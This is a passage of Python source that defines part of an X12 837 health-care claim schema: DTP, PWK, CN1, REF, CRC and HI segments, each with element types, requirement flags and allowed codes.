data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Date - Repricer Received Date",
position="1350",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["050"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"PWK",
Properties(
desc="Claim Supplemental Information",
position="1550",
repeat="10",
req_sit="S",
syntax="P0506",
),
Element(
"PWK01",
Properties(
desc="Report Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=[
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"13",
"15",
"21",
"A3",
"A4",
"AM",
"AS",
"B2",
"B3",
"B4",
"BR",
"BS",
"BT",
"CB",
"CK",
"CT",
"D2",
"DA",
"DB",
"DG",
"DJ",
"DS",
"EB",
"HC",
"HR",
"I5",
"IR",
"LA",
"M1",
"MT",
"NN",
"OB",
"OC",
"OD",
"OE",
"OX",
"OZ",
"P4",
"P5",
"PE",
"PN",
"PO",
"PQ",
"PY",
"PZ",
"RB",
"RR",
"RT",
"RX",
"SG",
"V5",
"XP",
],
),
),
Element(
"PWK02",
Properties(
desc="Report Transmission Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=2,
codes=["AA", "BM", "EL", "EM", "FT", "FX"],
),
),
Element(
"PWK03",
Properties(
desc="Report Copies Needed",
req_sit="N",
data_type=("N0", "1", "2"),
position=3,
codes=[],
),
),
Element(
"PWK04",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"PWK05",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=5,
codes=["AC"],
),
),
Element(
"PWK06",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=6,
codes=[],
),
),
Element(
"PWK07",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=7,
codes=[],
),
),
Composite(
"C002",
Properties(
desc="Actions Indicated", refdes="", repeat="", req_sit="N", seq="08"
),
),
Element(
"PWK09",
Properties(
desc="Request Category Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=9,
codes=[],
),
),
),
Segment(
"CN1",
Properties(
desc="Contract Information",
position="1600",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CN101",
Properties(
desc="Contract Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["01", "02", "03", "04", "05", "06", "09"],
),
),
Element(
"CN102",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"CN103",
Properties(
desc="Percent, Decimal Format",
req_sit="S",
data_type=("R", "1", "6"),
position=3,
codes=[],
),
),
Element(
"CN104",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"CN105",
Properties(
desc="Terms Discount Percent",
req_sit="S",
data_type=("R", "1", "6"),
position=5,
codes=[],
),
),
Element(
"CN106",
Properties(
desc="Version Identifier",
req_sit="S",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Patient Amount Paid",
position="1750",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["F5"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Service Authorization Exception Code",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["4N"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Mandatory Medicare (Section 4081) Crossover Indicator",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F5"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Mammography Certification Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EW"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Referral Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9F"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Prior Authorization",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G1"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Payer Claim Control Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F8"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Clinical Laboratory Improvement Amendment (CLIA) Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["X4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Repriced Claim Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9A"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Adjusted Repriced Claim Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9C"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Investigational Device Exemption Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["LX"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Claim Identifier For Transmission Intermediaries",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["D9"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Medical Record Number",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["EA"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Demonstration Project Identifier",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["P4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Care Plan Oversight",
position="1800",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["1J"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"K3",
Properties(
desc="File Information",
position="1850",
repeat="10",
req_sit="S",
syntax="",
),
Element(
"K301",
Properties(
desc="Fixed Format Information",
req_sit="R",
data_type=("AN", "1", "80"),
position=1,
codes=[],
),
),
Element(
"K302",
Properties(
desc="Record Format Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=2,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="N",
seq="03",
),
),
),
Segment(
"NTE",
Properties(
desc="Claim Note", position="1900", repeat="1", req_sit="S", syntax=""
),
Element(
"NTE01",
Properties(
desc="Note Reference Code",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["ADD", "CER", "DCP", "DGN", "TPO"],
),
),
Element(
"NTE02",
Properties(
desc="Description",
req_sit="R",
data_type=("AN", "1", "80"),
position=2,
codes=[],
),
),
),
Segment(
"CR1",
Properties(
desc="Ambulance Transport Information",
position="1950",
repeat="1",
req_sit="S",
syntax="P0102 P0506",
),
Element(
"CR101",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=1,
codes=["LB"],
),
),
Element(
"CR102",
Properties(
desc="Weight",
req_sit="S",
data_type=("R", "1", "10"),
position=2,
codes=[],
),
),
Element(
"CR103",
Properties(
desc="Ambulance Transport Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
Element(
"CR104",
Properties(
desc="Ambulance Transport Reason Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=4,
codes=["A", "B", "C", "D", "E"],
),
),
Element(
"CR105",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=5,
codes=["DH"],
),
),
Element(
"CR106",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=6,
codes=[],
),
),
Element(
"CR107",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=7,
codes=[],
),
),
Element(
"CR108",
Properties(
desc="Address Information",
req_sit="N",
data_type=("AN", "1", "55"),
position=8,
codes=[],
),
),
Element(
"CR109",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=9,
codes=[],
),
),
Element(
"CR110",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=10,
codes=[],
),
),
),
Segment(
"CR2",
Properties(
desc="Spinal Manipulation Service Information",
position="2000",
repeat="1",
req_sit="S",
syntax="P0102 C0403 P0506",
),
Element(
"CR201",
Properties(
desc="Count",
req_sit="N",
data_type=("N0", "1", "9"),
position=1,
codes=[],
),
),
Element(
"CR202",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=2,
codes=[],
),
),
Element(
"CR203",
Properties(
desc="Subluxation Level Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=3,
codes=[],
),
),
Element(
"CR204",
Properties(
desc="Subluxation Level Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CR205",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=5,
codes=[],
),
),
Element(
"CR206",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=6,
codes=[],
),
),
Element(
"CR207",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CR208",
Properties(
desc="Nature of Condition Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=8,
codes=["A", "C", "D", "E", "F", "G", "M"],
),
),
Element(
"CR209",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=9,
codes=[],
),
),
Element(
"CR210",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=10,
codes=[],
),
),
Element(
"CR211",
Properties(
desc="Description",
req_sit="S",
data_type=("AN", "1", "80"),
position=11,
codes=[],
),
),
Element(
"CR212",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=12,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="Ambulance Certification",
position="2200",
repeat="3",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["07"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=6,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=7,
codes=["01", "04", "05", "06", "07", "08", "09", "12"],
),
),
),
Segment(
"CRC",
Properties(
desc="Patient Condition Information: Vision",
position="2200",
repeat="3",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["E1", "E2", "E3"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=6,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=7,
codes=["L1", "L2", "L3", "L4", "L5"],
),
),
),
Segment(
"CRC",
Properties(
desc="Homebound Indicator",
position="2200",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["75"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["IH"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=5,
codes=[],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=[],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
),
Segment(
"CRC",
Properties(
desc="EPSDT Referral", position="2200", repeat="1", req_sit="S", syntax=""
),
Element(
"CRC01",
Properties(
desc="Code Category",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["ZZ"],
),
),
Element(
"CRC02",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["N", "Y"],
),
),
Element(
"CRC03",
Properties(
desc="Condition Indicator",
req_sit="R",
data_type=("ID", "2", "3"),
position=3,
codes=["AV", "NU", "S2", "ST"],
),
),
Element(
"CRC04",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=["AV", "NU", "S2", "ST"],
),
),
Element(
"CRC05",
Properties(
desc="Condition Indicator",
req_sit="S",
data_type=("ID", "2", "3"),
position=5,
codes=["AV", "NU", "S2", "ST"],
),
),
Element(
"CRC06",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=6,
codes=[],
),
),
Element(
"CRC07",
Properties(
desc="Condition Indicator",
req_sit="N",
data_type=("ID", "2", "3"),
position=7,
codes=[],
),
),
),
Segment(
"HI",
Properties(
desc="Health Care Diagnosis Code",
position="2310",
repeat="1",
req_sit="R",
syntax="",
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="R",
seq="01",
),
Element(
"HI01-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABK", "BK"],
),
),
Element(
"HI01-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI01-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI01-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI01-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI01-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI01-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI01-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI01-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="02",
),
Element(
"HI02-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI02-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI02-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI02-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI02-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI02-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI02-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI02-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI02-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="03",
),
Element(
"HI03-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI03-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI03-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI03-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI03-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI03-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI03-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI03-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI03-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="04",
),
Element(
"HI04-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI04-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI04-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI04-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI04-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI04-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI04-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI04-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI04-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="05",
),
Element(
"HI05-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI05-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI05-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI05-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI05-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI05-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI05-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"HI05-08",
Properties(
desc="Industry Code",
req_sit="N",
data_type=("AN", "1", "30"),
position=7,
codes=[],
),
),
Element(
"HI05-09",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=8,
codes=[],
),
),
),
Composite(
"C022",
Properties(
desc="Health Care Code Information",
refdes="",
repeat="",
req_sit="S",
seq="06",
),
Element(
"HI06-01",
Properties(
desc="Code List Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=0,
codes=["ABF", "BF"],
),
),
Element(
"HI06-02",
Properties(
desc="Industry Code",
req_sit="R",
data_type=("AN", "1", "30"),
position=1,
codes=[],
),
),
Element(
"HI06-03",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"HI06-04",
Properties(
desc="Date Time Period",
req_sit="N",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
Element(
"HI06-05",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=4,
codes=[],
),
),
Element(
"HI06-06",
Properties(
desc="Quantity",
req_sit="N",
data_type=("R", "1", "15"),
position=5,
codes=[],
),
),
Element(
"HI06-07",
Properties(
desc="Version Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
